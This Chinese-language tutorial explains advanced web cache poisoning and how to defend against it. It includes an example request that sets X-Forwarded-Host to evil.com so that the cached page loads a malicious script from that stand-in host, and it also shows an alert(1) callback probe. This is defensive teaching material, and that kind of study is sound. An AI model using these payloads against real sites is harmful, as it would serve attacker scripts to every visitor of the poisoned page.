Web缓存投毒(Web Cache Poisoning)漏洞与防护(进阶篇)
字数 996 2025-11-23 08:50:27

Web缓存投毒(Web Cache Poisoning)漏洞与防护(进阶篇)

描述
Web缓存投毒是一种高级攻击技术,攻击者通过操纵缓存服务器(如CDN、反向代理等),将恶意构造的HTTP响应存储到缓存中,使其他用户访问同一资源时接收到有害内容。与基础缓存投毒不同,进阶篇聚焦于复杂攻击向量,如通过HTTP请求头、URL参数或协议特性(如HTTP/2)污染缓存,最终实现XSS、开放重定向或敏感信息泄露。

解题过程

  1. 理解缓存键(Cache Keys)机制

    • 缓存服务器通过"缓存键"判断请求是否命中缓存。缓存键通常由请求方法、URL路径和特定头(如Host)组合而成。
    • 关键点:未纳入缓存键的请求部分(如某些头或参数)可能被攻击者篡改,但响应仍被缓存。例如,若X-Forwarded-Host头未纳入键,攻击者可利用它注入恶意内容。
  2. 识别动态响应生成点

    • 扫描应用动态生成内容的位置,如错误页面、重定向URL或脚本资源。例如,/script.js?callback=alert(1)可能将回调函数写入响应。
    • 工具辅助:使用Burp Suite的"Param Miner"扩展自动检测未纳入缓存键的参数或头。
  3. 构造恶意请求污染缓存

    • 通过未纳入缓存键的输入点注入恶意负载。例如:
      • 请求:GET / HTTP/1.1
        Host: example.com
        X-Forwarded-Host: evil.com
      • 响应:<script src="//evil.com/malicious.js"></script>
    • 若服务器使用X-Forwarded-Host生成绝对URL且该头未纳入缓存键,此响应可能被缓存,影响所有访问/的用户。
  4. 利用协议特性放大攻击

    • HTTP/2的请求走私(HTTP/2 Request Smuggling)可构造歧义请求,使缓存与后端服务器解析不一致,导致缓存投毒。
    • 示例:通过HTTP/2流复用发送冲突请求,污染缓存版本。
  5. 防护机制

    • 缓存键配置:确保所有影响响应的要素(如关键头、参数)纳入缓存键。
    • 输入验证:严格校验HostX-Forwarded-*等头,拒绝非常规值。
    • 缓存控制头:使用Vary头明确指定影响响应的头(如Vary: X-Forwarded-Host)。
    • 隔离用户内容:避免缓存包含用户输入的动态资源。
Web缓存投毒(Web Cache Poisoning)漏洞与防护(进阶篇) 描述 Web缓存投毒是一种高级攻击技术,攻击者通过操纵缓存服务器(如CDN、反向代理等),将恶意构造的HTTP响应存储到缓存中,使其他用户访问同一资源时接收到有害内容。与基础缓存投毒不同,进阶篇聚焦于复杂攻击向量,如通过HTTP请求头、URL参数或协议特性(如HTTP/2)污染缓存,最终实现XSS、开放重定向或敏感信息泄露。 解题过程 理解缓存键(Cache Keys)机制 缓存服务器通过"缓存键"判断请求是否命中缓存。缓存键通常由请求方法、URL路径和特定头(如 Host )组合而成。 关键点 :未纳入缓存键的请求部分(如某些头或参数)可能被攻击者篡改,但响应仍被缓存。例如,若 X-Forwarded-Host 头未纳入键,攻击者可利用它注入恶意内容。 识别动态响应生成点 扫描应用动态生成内容的位置,如错误页面、重定向URL或脚本资源。例如, /script.js?callback=alert(1) 可能将回调函数写入响应。 工具辅助:使用Burp Suite的"Param Miner"扩展自动检测未纳入缓存键的参数或头。 构造恶意请求污染缓存 通过未纳入缓存键的输入点注入恶意负载。例如: 请求: GET / HTTP/1.1 Host: example.com X-Forwarded-Host: evil.com 响应: <script src="//evil.com/malicious.js"></script> 若服务器使用 X-Forwarded-Host 生成绝对URL且该头未纳入缓存键,此响应可能被缓存,影响所有访问 / 的用户。 利用协议特性放大攻击 HTTP/2的请求走私(HTTP/2 Request Smuggling)可构造歧义请求,使缓存与后端服务器解析不一致,导致缓存投毒。 示例:通过HTTP/2流复用发送冲突请求,污染缓存版本。 防护机制 缓存键配置 :确保所有影响响应的要素(如关键头、参数)纳入缓存键。 输入验证 :严格校验 Host 、 X-Forwarded-* 等头,拒绝非常规值。 缓存控制头 :使用 Vary 头明确指定影响响应的头(如 Vary: X-Forwarded-Host )。 隔离用户内容 :避免缓存包含用户输入的动态资源。